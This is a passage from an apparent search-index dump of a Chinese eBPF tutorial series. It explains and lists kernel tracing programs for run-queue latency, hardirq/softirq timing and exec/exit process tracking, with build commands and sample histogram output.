hkey; s64 delta; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; if (get_task_state(prev) == TASK_RUNNING) trace_enqueue(BPF_CORE_READ(prev, tgid), BPF_CORE_READ(prev, pid)); pid = BPF_CORE_READ(next, pid); tsp = bpf_map_lookup_elem(&start, &pid); if (!tsp) return 0; delta = bpf_ktime_get_ns() - *tsp; if (delta < 0) goto cleanup; if (targ_per_process) hkey = BPF_CORE_READ(next, tgid); else if (targ_per_thread) hkey = pid; else if (targ_per_pidns) hkey = pid_namespace(next); else hkey = -1; histp = bpf_map_lookup_or_try_init(&hists, &hkey, &zero); if (!histp) goto cleanup; if (!histp->comm[0]) bpf_probe_read_kernel_str(&histp->comm, sizeof(histp->comm), next->comm); if (targ_ms) delta /= 1000000U; else delta /= 1000U; slot = log2l(delta); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; __sync_fetch_and_add(&histp->slots[slot], 1); cleanup: bpf_map_delete_elem(&start, &pid); return 0;\n} SEC(\"raw_tp/sched_wakeup\")\nint BPF_PROG(handle_sched_wakeup, struct task_struct *p)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid));\n} SEC(\"raw_tp/sched_wakeup_new\")\nint BPF_PROG(handle_sched_wakeup_new, struct task_struct *p)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid));\n} SEC(\"raw_tp/sched_switch\")\nint BPF_PROG(handle_sched_switch, bool preempt, struct task_struct *prev, struct task_struct *next)\n{ return handle_switch(preempt, prev, next);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这其中定义了一些常量和全局变量，用于过滤对应的追踪目标： #define MAX_ENTRIES 10240\n#define TASK_RUNNING 0 const volatile bool filter_cg = false;\nconst volatile bool targ_per_process = false;\nconst volatile bool targ_per_thread = false;\nconst volatile bool targ_per_pidns = false;\nconst volatile bool targ_ms = false;\nconst volatile pid_t targ_tgid = 0; 这些变量包括最大映射项数量、任务状态、过滤选项和目标选项。这些选项可以通过用户空间程序设置，以定制 eBPF 程序的行为。 接下来，定义了一些 eBPF 映射： struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); static struct hist zero; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, struct hist);\n} hists SEC(\".maps\"); 这些映射包括： cgroup_map 用于过滤 cgroup； start 用于存储进程入队时的时间戳； hists 用于存储直方图数据，记录进程调度延迟。 接下来是一些辅助函数： trace_enqueue 函数用于在进程入队时记录其时间戳： static int trace_enqueue(u32 tgid, u32 pid)\n{ u64 ts; if (!pid) return 0; if (targ_tgid && targ_tgid != tgid) return 0; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); return 0;\n} pid_namespace 函数用于获取进程所属的 PID namespace： static unsigned int pid_namespace(struct task_struct *task)\n{ struct pid *pid; unsigned int level; struct upid upid; unsigned int inum; /* get the pid namespace by following task_active_pid_ns(), * pid->numbers[pid->level].ns */ pid = BPF_CORE_READ(task, thread_pid); level = BPF_CORE_READ(pid, level); bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); inum = BPF_CORE_READ(upid.ns, ns.inum); return inum;\n} handle_switch 函数是核心部分，用于处理调度切换事件，计算进程调度延迟并更新直方图数据： static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next)\n{ ...\n} 首先，函数根据 filter_cg 的设置判断是否需要过滤 cgroup。然后，如果之前的进程状态为 TASK_RUNNING，则调用 trace_enqueue 函数记录进程的入队时间。接着，函数查找下一个进程的入队时间戳，如果找不到，直接返回。计算调度延迟（delta），并根据不同的选项设置（targ_per_process，targ_per_thread，targ_per_pidns），确定直方图映射的键（hkey）。然后查找或初始化直方图映射，更新直方图数据，最后删除进程的入队时间戳记录。 接下来是 eBPF 程序的入口点。程序使用三个入口点来捕获不同的调度事件： handle_sched_wakeup：用于处理 sched_wakeup 事件，当一个进程从睡眠状态被唤醒时触发。 handle_sched_wakeup_new：用于处理 sched_wakeup_new 事件，当一个新创建的进程被唤醒时触发。 handle_sched_switch：用于处理 sched_switch 事件，当调度器选择一个新的进程运行时触发。 这些入口点分别处理不同的调度事件，但都会调用 handle_switch 函数来计算进程的调度延迟并更新直方图数据。 最后，程序包含一个许可证声明： char LICENSE[] SEC(\"license\") = \"GPL\"; 这一声明指定了 eBPF 程序的许可证类型，这里使用的是 \"GPL\"。这对于许多内核功能是必需的，因为它们要求 eBPF 程序遵循 GPL 许可证。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat.bpf.c","id":"53","title":"runqlat.bpf.c"},"54":{"body":"然后我们需要定义一个头文件runqlat.h，用来给用户态处理从内核态上报的事件： /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n#ifndef __RUNQLAT_H\n#define __RUNQLAT_H #define TASK_COMM_LEN 16\n#define MAX_SLOTS 26 struct hist { __u32 slots[MAX_SLOTS]; char comm[TASK_COMM_LEN];\n}; #endif /* __RUNQLAT_H */","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat.h","id":"54","title":"runqlat.h"},"55":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc runqlat.bpf.c runqlat.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... Run: $ sudo ecli run examples/bpftools/runqlat/package.json -h\nUsage: runqlat_bpf [--help] [--version] [--verbose] [--filter_cg] [--targ_per_process] [--targ_per_thread] [--targ_per_pidns] [--targ_ms] [--targ_tgid VAR] A simple eBPF program Optional arguments: -h, --help shows help message and exits -v, --version prints version information and exits --verbose prints libbpf debug information --filter_cg set value of bool variable filter_cg --targ_per_process set value of bool variable targ_per_process --targ_per_thread set value of bool variable targ_per_thread --targ_per_pidns set value of bool variable targ_per_pidns --targ_ms set value of bool variable targ_ms --targ_tgid set value of pid_t variable targ_tgid Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. $ sudo ecli run examples/bpftools/runqlat/package.json\nkey = 4294967295\ncomm = rcu_preempt (unit) : count distribution 0 -> 1 : 9 |**** | 2 -> 3 : 6 |** | 4 -> 7 : 12 |***** | 8 -> 15 : 28 |************* | 16 -> 31 : 40 |******************* | 32 -> 63 : 83 |****************************************| 64 -> 127 : 57 |*************************** | 128 -> 255 : 19 |********* | 256 -> 511 : 11 |***** | 512 -> 1023 : 2 | | 1024 -> 2047 : 2 | | 2048 -> 4095 : 0 | | 4096 -> 8191 : 0 | | 8192 -> 16383 : 0 | | 16384 -> 32767 : 1 | | $ sudo ecli run examples/bpftools/runqlat/package.json --targ_per_process\nkey = 3189\ncomm = cpptools (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 1 |*** | 16 -> 31 : 2 |******* | 32 -> 63 : 11 |****************************************| 64 -> 127 : 8 |***************************** | 128 -> 255 : 3 |********** | 完整源代码请见： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/9-runqlat 参考资料： https://www.brendangregg.com/blog/2016-10-08/linux-bcc-runqlat.html https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.c","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » 编译运行","id":"55","title":"编译运行"},"56":{"body":"runqlat 是一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度。编译这个程序可以使用 ecc 工具，运行时可以使用 ecli 命令。 runqlat 是一种用于监控Linux内核中进程调度延迟的工具。它可以帮助您了解进程在内核中等待执行的时间，并根据这些信息优化进程调度，提高系统的性能。可以在 libbpf-tools 中找到最初的源代码： https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.bpf.c 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » 总结","id":"56","title":"总结"},"57":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第十篇，在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件。 hardirqs 和 softirqs 是 Linux 内核中两种不同类型的中断处理程序。它们用于处理硬件设备产生的中断请求，以及内核中的异步事件。在 eBPF 中，我们可以使用同名的 eBPF 工具 hardirqs 和 softirqs 来捕获和分析内核中与中断处理相关的信息。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件","id":"57","title":"eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件"},"58":{"body":"hardirqs 是硬件中断处理程序。当硬件设备产生一个中断请求时，内核会将该请求映射到一个特定的中断向量，然后执行与之关联的硬件中断处理程序。硬件中断处理程序通常用于处理设备驱动程序中的事件，例如设备数据传输完成或设备错误。 softirqs 是软件中断处理程序。它们是内核中的一种底层异步事件处理机制，用于处理内核中的高优先级任务。softirqs 通常用于处理网络协议栈、磁盘子系统和其他内核组件中的事件。与硬件中断处理程序相比，软件中断处理程序具有更高的灵活性和可配置性。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » hardirqs 和 softirqs 是什么？","id":"58","title":"hardirqs 和 softirqs 是什么？"},"59":{"body":"在 eBPF 中，我们可以通过挂载特定的 kprobe 或者 tracepoint 来捕获和分析 hardirqs 和 softirqs。为了捕获 hardirqs 和 softirqs，需要在相关的内核函数上放置 eBPF 程序。这些函数包括： 对于 hardirqs：irq_handler_entry 和 irq_handler_exit。 对于 softirqs：softirq_entry 和 softirq_exit。 当内核处理 hardirqs 或 softirqs 时，这些 eBPF 程序会被执行，从而收集相关信息，如中断向量、中断处理程序的执行时间等。收集到的信息可以用于分析内核中的性能问题和其他与中断处理相关的问题。 为了捕获 hardirqs 和 softirqs，可以遵循以下步骤： 在 eBPF 程序中定义用于存储中断信息的数据结构和映射。 编写 eBPF 程序，将其挂载到相应的内核函数上，以捕获 hardirqs 或 softirqs。 在 eBPF 程序中，收集中断处理程序的相关信息，并将这些信息存储在映射中。 在用户空间应用程序中，读取映射中的数据以分析和展示中断处理信息。 通过上述方法，我们可以在 eBPF 中使用 hardirqs 和 softirqs 捕获和分析内核中的中断事件，以识别潜在的性能问题和与中断处理相关的问题。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 实现原理","id":"59","title":"实现原理"},"6":{"body":"原始的eBPF程序编写是非常繁琐和困难的。为了改变这一现状，llvm于2015年推出了可以将由高级语言编写的代码编译为eBPF字节码的功能，同时，eBPF 社区将 bpf() 等原始的系统调用进行了初步地封装，给出了libbpf库。这些库会包含将字节码加载到内核中的函数以及一些其他的关键函数。在Linux的源码包的samples/bpf/目录下，有大量Linux提供的基于libbpf的eBPF样例代码。 一个典型的基于 libbpf 的eBPF程序具有*_kern.c和*_user.c两个文件，*_kern.c中书写在内核中的挂载点以及处理函数，*_user.c中书写用户态代码，完成内核态代码注入以及与用户交互的各种任务。 更为详细的教程可以参考 该视频 然而由于该方法仍然较难理解且入门存在一定的难度，因此现阶段的eBPF程序开发大多基于一些工具，比如： BCC BPFtrace libbpf-bootstrap Go eBPF library 以及还有比较新的工具，例如 eunomia-bpf.","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 3. 如何使用eBPF编程","id":"6","title":"3. 如何使用eBPF编程"},"60":{"body":"hardirqs 程序的主要目的是获取中断处理程序的名称、执行次数和执行时间，并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。 // SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include \n#include \n#include \n#include \n#include \"hardirqs.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\" #define MAX_ENTRIES 256 const volatile bool filter_cg = false;\nconst volatile bool targ_dist = false;\nconst volatile bool targ_ns = false;\nconst volatile bool do_count = false; struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERCPU_ARRAY); __uint(max_entries, 1); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, struct irq_key); __type(value, struct info);\n} infos SEC(\".maps\"); static struct info zero; static int handle_entry(int irq, struct irqaction *action)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; if (do_count) { struct irq_key key = {}; struct info *info; bpf_probe_read_kernel_str(&key.name, sizeof(key.name), BPF_CORE_READ(action, name)); info = bpf_map_lookup_or_try_init(&infos, &key, &zero); if (!info) return 0; info->count += 1; return 0; } else { u64 ts = bpf_ktime_get_ns(); u32 key = 0; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; bpf_map_update_elem(&start, &key, &ts, BPF_ANY); return 0; }\n} static int handle_exit(int irq, struct irqaction *action)\n{ struct irq_key ikey = {}; struct info *info; u32 key = 0; u64 delta; u64 *tsp; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; tsp = bpf_map_lookup_elem(&start, &key); if (!tsp) return 0; delta = bpf_ktime_get_ns() - *tsp; if (!targ_ns) delta /= 1000U; bpf_probe_read_kernel_str(&ikey.name, sizeof(ikey.name), BPF_CORE_READ(action, name)); info = bpf_map_lookup_or_try_init(&infos, &ikey, &zero); if (!info) return 0; if (!targ_dist) { info->count += delta; } else { u64 slot; slot = log2(delta); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; info->slots[slot]++; } return 0;\n} SEC(\"tp_btf/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action)\n{ return handle_entry(irq, action);\n} SEC(\"tp_btf/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action)\n{ return handle_exit(irq, action);\n} SEC(\"raw_tp/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry, int irq, struct irqaction *action)\n{ return handle_entry(irq, action);\n} SEC(\"raw_tp/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit, int irq, struct irqaction *action)\n{ return handle_exit(irq, action);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码是一个 eBPF 程序，用于捕获和分析内核中硬件中断处理程序（hardirqs）的执行信息。程序的主要目的是获取中断处理程序的名称、执行次数和执行时间，并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。 包含必要的头文件和定义数据结构： #include \n#include \n#include \n#include \n#include \"hardirqs.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\" 该程序包含了 eBPF 开发所需的标准头文件，以及用于定义数据结构和映射的自定义头文件。 定义全局变量和映射： #define MAX_ENTRIES 256 const volatile bool filter_cg = false;\nconst volatile bool targ_dist = false;\nconst volatile bool targ_ns = false;\nconst volatile bool do_count = false; ... 该程序定义了一些全局变量，用于配置程序的行为。例如，filter_cg 控制是否过滤 cgroup，targ_dist 控制是否显示执行时间的分布等。此外，程序还定义了三个映射，分别用于存储 cgroup 信息、开始时间戳和中断处理程序的信息。 定义两个辅助函数 handle_entry 和 handle_exit： 这两个函数分别在中断处理程序的入口和出口处被调用。handle_entry 记录开始时间戳或更新中断计数，handle_exit 计算中断处理程序的执行时间，并将结果存储到相应的信息映射中。 定义 eBPF 程序的入口点： SEC(\"tp_btf/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action)\n{\nreturn handle_entry(irq, action);\n} SEC(\"tp_btf/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action)\n{\nreturn handle_exit(irq, action);\n} SEC(\"raw_tp/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry, int irq, struct irqaction *action)\n{\nreturn handle_entry(irq, action);\n} SEC(\"raw_tp/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit, int irq, struct irqaction *action)\n{\nreturn handle_exit(irq, action);\n} 这里定义了四个 eBPF 程序入口点，分别用于捕获中断处理程序的入口和出口事件。tp_btf 和 raw_tp 分别代表使用 BPF Type Format（BTF）和原始 tracepoints 捕获事件。这样可以确保程序在不同内核版本上可以移植和运行。 Softirq 代码也类似，这里就不再赘述了。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » hardirqs 代码实现","id":"60","title":"hardirqs 代码实现"},"61":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 要编译这个程序，请使用 ecc 工具： $ ecc hardirqs.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 然后运行： sudo ecli run ./package.json","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 运行代码","id":"61","title":"运行代码"},"62":{"body":"在本章节（eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件）中，我们学习了如何使用 eBPF 程序捕获和分析内核中硬件中断处理程序（hardirqs）的执行信息。我们详细讲解了示例代码，包括如何定义数据结构、映射以及 eBPF 程序入口点，以及如何在中断处理程序的入口和出口处调用辅助函数来记录执行信息。 通过学习本章节内容，您应该已经掌握了如何在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件的方法，以及如何分析这些事件以识别内核中的性能问题和其他与中断处理相关的问题。这些技能对于分析和优化 Linux 内核的性能至关重要。 为了更好地理解和实践 eBPF 编程，我们建议您阅读 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。此外，我们还为您提供了完整的教程和源代码，您可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发，并为您的进一步学习和实践提供有益的参考。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 总结","id":"62","title":"总结"},"63":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 在本教程中，我们将了解内核态和用户态的 eBPF 程序是如何协同工作的。我们还将学习如何使用原生的 libbpf 开发用户态程序，将 eBPF 应用打包为可执行文件，实现跨内核版本分发。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » eBPF 入门开发实践教程十一：在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用","id":"63","title":"eBPF 入门开发实践教程十一：在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用"},"64":{"body":"libbpf 是一个 C 语言库，伴随内核版本分发，用于辅助 eBPF 程序的加载和运行。它提供了用于与 eBPF 系统交互的一组 C API，使开发者能够更轻松地编写用户态程序来加载和管理 eBPF 程序。这些用户态程序通常用于分析、监控或优化系统性能。 使用 libbpf 库有以下优势： 它简化了 eBPF 程序的加载、更新和运行过程。 它提供了一组易于使用的 API，使开发者能够专注于编写核心逻辑，而不是处理底层细节。 它能够确保与内核中的 eBPF 子系统的兼容性，降低了维护成本。 同时，libbpf 和 BTF（BPF Type Format）都是 eBPF 生态系统的重要组成部分。它们各自在实现跨内核版本兼容方面发挥着关键作用。BTF（BPF Type Format）是一种元数据格式，用于描述 eBPF 程序中的类型信息。BTF 的主要目的是提供一种结构化的方式，以描述内核中的数据结构，以便 eBPF 程序可以更轻松地访问和操作它们。 BTF 在实现跨内核版本兼容方面的关键作用如下： BTF 允许 eBPF 程序访问内核数据结构的详细类型信息，而无需对特定内核版本进行硬编码。这使得 eBPF 程序可以适应不同版本的内核，从而实现跨内核版本兼容。 通过使用 BPF CO-RE（Compile Once, Run Everywhere）技术，eBPF 程序可以利用 BTF 在编译时解析内核数据结构的类型信息，进而生成可以在不同内核版本上运行的 eBPF 程序。 结合 libbpf 和 BTF，eBPF 程序可以在各种不同版本的内核上运行，而无需为每个内核版本单独编译。这极大地提高了 eBPF 生态系统的可移植性和兼容性，降低了开发和维护的难度。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » libbpf 库，以及为什么需要使用它","id":"64","title":"libbpf 库，以及为什么需要使用它"},"65":{"body":"Bootstrap 是一个使用 libbpf 的完整应用，它利用 eBPF 程序来跟踪内核中的 exec() 系统调用（通过 SEC(\"tp/sched/sched_process_exec\") handle_exec BPF 程序），这主要对应于新进程的创建（不包括 fork() 部分）。此外，它还跟踪进程的 exit() 系统调用（通过 SEC(\"tp/sched/sched_process_exit\") handle_exit BPF 程序），以了解每个进程何时退出。 这两个 BPF 程序共同工作，允许捕获关于新进程的有趣信息，例如二进制文件的文件名，以及测量进程的生命周期，并在进程结束时收集有趣的统计信息，例如退出代码或消耗的资源量等。这是深入了解内核内部并观察事物如何真正运作的良好起点。 Bootstrap 还使用 argp API（libc 的一部分）进行命令行参数解析，使得用户可以通过命令行选项配置应用行为。这种方式提供了灵活性，让用户能够根据实际需求自定义程序行为。虽然这些功能使用 eunomia-bpf 工具也可以实现，但是这里我们使用 libbpf 可以在用户态提供更高的可扩展性，不过也带来了不少额外的复杂度。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 什么是 bootstrap","id":"65","title":"什么是 bootstrap"},"66":{"body":"Bootstrap 分为两个部分：内核态和用户态。内核态部分是一个 eBPF 程序，它跟踪 exec() 和 exit() 系统调用。用户态部分是一个 C 语言程序，它使用 libbpf 库来加载和运行内核态程序，并处理从内核态程序收集的数据。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » Bootstrap","id":"66","title":"Bootstrap"},"67":{"body":"// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause\n/* Copyright (c) 2020 Facebook */\n#include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"bootstrap.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, pid_t); __type(value, u64);\n} exec_start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); const volatile unsigned long long min_duration_ns = 0; SEC(\"tp/sched/sched_process_exec\")\nint handle_exec(struct trace_event_raw_sched_process_exec *ctx)\n{ struct task_struct *task; unsigned fname_off; struct event *e; pid_t pid; u64 ts; /* remember time exec() was executed for this PID */ pid = bpf_get_current_pid_tgid() >> 32; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&exec_start, &pid, &ts, BPF_ANY); /* don't emit exec events when minimum duration is specified */ if (min_duration_ns) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = false; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); bpf_get_current_comm(&e->comm, sizeof(e->comm)); fname_off = ctx->__data_loc_filename & 0xFFFF; bpf_probe_read_str(&e->filename, sizeof(e->filename), (void *)ctx + fname_off); /* successfully submit it to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ struct task_struct *task; struct event *e; pid_t pid, tid; u64 id, ts, *start_ts, duration_ns = 0; /* get PID and TID of exiting thread/process */ id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; /* if we recorded start of the process, calculate lifetime duration */ start_ts = bpf_map_lookup_elem(&exec_start, &pid); if (start_ts) duration_ns = bpf_ktime_get_ns() - *start_ts; else if (min_duration_ns) return 0; bpf_map_delete_elem(&exec_start, &pid); /* if process didn't live long enough, return early */ if (min_duration_ns && duration_ns < min_duration_ns) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = true; e->duration_ns = duration_ns; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这段代码是一个内核态 eBPF 程序（bootstrap.bpf.c），主要用于跟踪 exec() 和 exit() 系统调用。它通过 eBPF 程序捕获进程的创建和退出事件，并将相关信息发送到用户态程序进行处理。下面是对代码的详细解释。 首先，我们引入所需的头文件，定义 eBPF 程序的许可证以及两个 eBPF maps：exec_start 和 rb。exec_start 是一个哈希类型的 eBPF map，用于存储进程开始执行时的时间戳。rb 是一个环形缓冲区类型的 eBPF map，用于存储捕获的事件数据，并将其发送到用户态程序。 #include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"bootstrap.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, pid_t); __type(value, u64);\n} exec_start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); const volatile unsigned long long min_duration_ns = 0; 接下来，我们定义了一个名为 handle_exec 的 eBPF 程序，它会在进程执行 exec() 系统调用时触发。首先，我们从当前进程中获取 PID，记录进程开始执行的时间戳，然后将其存储在 exec_start map 中。 SEC(\"tp/sched/sched_process_exec\")\nint handle_exec(struct trace_event_raw_sched_process_exec *ctx)\n{ // ... pid = bpf_get_current_pid_tgid() >> 32; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&exec_start, &pid, &ts, BPF_ANY); // ...\n} 然后，我们从环形缓冲区 map rb 中预留一个事件结构，并填充相关数据，如进程 ID、父进程 ID、进程名等。之后，我们将这些数据发送到用户态程序进行处理。 // reserve sample from BPF ringbuf e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; // fill out the sample with data task = (struct task_struct *)bpf_get_current_task(); e->exit_event = false; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); bpf_get_current_comm(&e->comm, sizeof(e->comm)); fname_off = ctx->__data_loc_filename & 0xFFFF; bpf_probe_read_str(&e->filename, sizeof(e->filename), (void *)ctx + fname_off); // successfully submit it to user-space for post-processing bpf_ringbuf_submit(e, 0); return 0; 最后，我们定义了一个名为 handle_exit 的 eBPF 程序，它会在进程执行 exit() 系统调用时触发。首先，我们从当前进程中获取 PID 和 TID（线程 ID）。如果 PID 和 TID 不相等，说明这是一个线程退出，我们将忽略此事件。 SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ // ... id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; // ...\n} 接着，我们查找之前存储在 exec_start map 中的进程开始执行的时间戳。如果找到了时间戳，我们将计算进程的生命周期（持续时间），然后从 exec_start map 中删除该记录。如果未找到时间戳且指定了最小持续时间，则直接返回。 // if we recorded start of the process, calculate lifetime duration start_ts = bpf_map_lookup_elem(&exec_start, &pid); if (start_ts) duration_ns = bpf_ktime_get_ns() - *start_ts; else if (min_duration_ns) return 0; bpf_map_delete_elem(&exec_start, &pid); // if process didn't live long enough, return early if (min_duration_ns && duration_ns < min_duration_ns) return 0; 然后，我们从环形缓冲区 map rb 中预留一个事件结构，并填充相关数据，如进程 ID、父进程 ID、进程名、进程持续时间等。最后，我们将这些数据发送到用户态程序进行处理。 /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = true; e->duration_ns = duration_ns; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ 